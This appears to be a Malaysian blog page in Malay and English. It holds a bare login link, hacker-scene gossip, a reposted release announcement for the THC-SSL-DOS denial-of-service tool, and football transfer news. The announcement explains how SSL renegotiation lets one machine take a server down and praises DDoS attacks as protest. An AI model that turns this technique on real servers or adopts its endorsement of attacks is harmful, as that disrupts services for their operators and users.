ehem2 sory2...maaf la tajuk agak kasar sikit...

tpi nie la yg adios jmpe...

nk taw ap dy??

http://malaysiahealthcareindonesia.com/login.html

pengumuman....seorang hacker bername NoEntry telah membunuh dirinye setelah di troll oleh RileksCrew(RC) 

THC (Hackerz choice) new ddos(ssl) tool realeased :D

Today the German hacker group “The Hacker’s Choice” officially released a new DDoS tool. The tool exploits a weakness in SSL to kick a server off the Internet.

Technical details can be found at http://www.thc.org/thc-ssl-dos.

“We decided to make the official release after realizing that this tool leaked to the public a couple of months ago” said a member of THC who wants to remain anonymous.

The tool departs from traditional DDoS tools: It does not require any bandwidth and just a single attack computer (“bot”).

The THC-SSL-DOS attack is en par with other resource exhausting DDoS attacks. Some of those methods played a vital role in demonstrations against oppressive governments (like the DDoS attack against Iran’s leader) and against companies that violate free speech (like the DDoS attack against Mastercard for closing Wikileak’s non-profit donation account because of an alleged typo/misspelling in the application form).

“Here at THC the rights of the citizen and the freedom of speech are at the core of our research”, says a member of THC in a private interview this morning.

“We are hoping that the fishy security in SSL does not go unnoticed. The industry should step in to fix the problem so that citizens are safe and secure again. SSL is using an aging method of protecting private data which is complex, unnecessary and not fit for the 21st century.”, Says a THC member, referring to 3 major vulnerabilities disclosed in SSL over the past 3 years.

To list the 3 major vulnerabilities here THC explains: “In 2009 a vulnerability was disclosed that broke the encryption of SSL. De-facto making all SSL traffic unsafe. In 2011 various Certification Authorities got hacked. De-facto making all SSL traffic unsafe _again_.”

“We warned in 2002 about giving hundreds of commercial companies (so called Certification Authorities) a master key to ALL SSL traffic.”, says Fred Mauer, a senior cryptographer at THC. “Only a real genius can come up with such an idea!”.

“And last but not least the immense complexity of SSL Renegotiation strikes again in 2011 with the release of THC-SSL-DOS.”.

“It’s time for a new security model that adequately protects the citizens.”.

The THC-SSL-DOS tool is a Proof Of Concept tool to disclose fishy security in SSL. It works great if the server supports SSL Renegotiation. It still works if SSL Renegotiation is not supported but requires some modifications and more bots before an effect can be seen.

Our tests reveal that the average server can be taken down from a single IBM laptop through a standard DSL connection.

Taking on larger server farms who make use of SSL Load balancer required 20 average size laptops and about 120kbit/sec of traffic.

All in all superb results.

Interesting here is that a security feature that was supposed to make SSL more secure makes it indeed more vulnerable to this attack:

SSL Renegotiation was invented to renegotiate the key material of an SSL connection. This feature is rarely used. In fact we could not find any software that uses SSL Renegotiation. Yet it’s enabled by default by most servers.

An old saying comes true all over again: Complexity is the enemy of security.

“Renegotiating Key material is a stupid idea from a cryptography standpoint. If you are not happy with the key material negotiated at the start of the session then the session should be re-established and not re-negotiated”, says THC.


news by : click here to know :D

For Football Fan Only :D

Irfan Bakti ( Coach Terengganu FC)

IT'S Selangor and not Terengganu for Irfan Bakti next season.

The 60-year-old coach, who guided Terengganu to the FA Cup title and runners-up finishes in the Super League and Malaysia Cup, ended his relationship with the east coast side yesterday.

The Kelantan-born coach caught almost everybody off-guard as he was said to have agreed to a new improved two-year contract almost a month ago.

But Irfan, when met yesterday at the Terengganu FA office, said he had yet to sign a new deal as he needed time to consider his future.

"I have had a great time in Kuala Terengganu, winning one trophy and coming close to getting our hands on two others but there are other things to consider too.

"I have decided that I have already done what I was supposed to do here and it is time to look for new challenges and I wish everyone here well," he said.

Irfan did not mention anything about his immediate future plan but soon after, Terengganu FA president Datuk Che Mat Jusoh revealed the coach's next destination during a press conference.

Che Mat said it was a shock to hear from Irfan that he had accepted an offer from Selangor and that his decision was final.

"We were caught by surprise as we thought he would still be with us next year after taking Terengganu to such heights this season.

"We had agreed to everything he had wanted in the new contract and the thought of him leaving us had never crossed our mind until today," he said.

Che Mat, who is also team manager, said Irfan's unexpected departure left Terengganu in a lurch.

"We managed to get in touch with Pos Malaysia coach Mat Zan Mat Aris and at the moment, it looks like we may have found us a new coach.

"Mat Zan was Terengganu's coach when we won the Malaysia Cup in 2001 and he does seem interested in joining us again as he has agreed to come down to discuss terms and conditions with us sometime this week," he said.

In memory :D

sumber asli: NST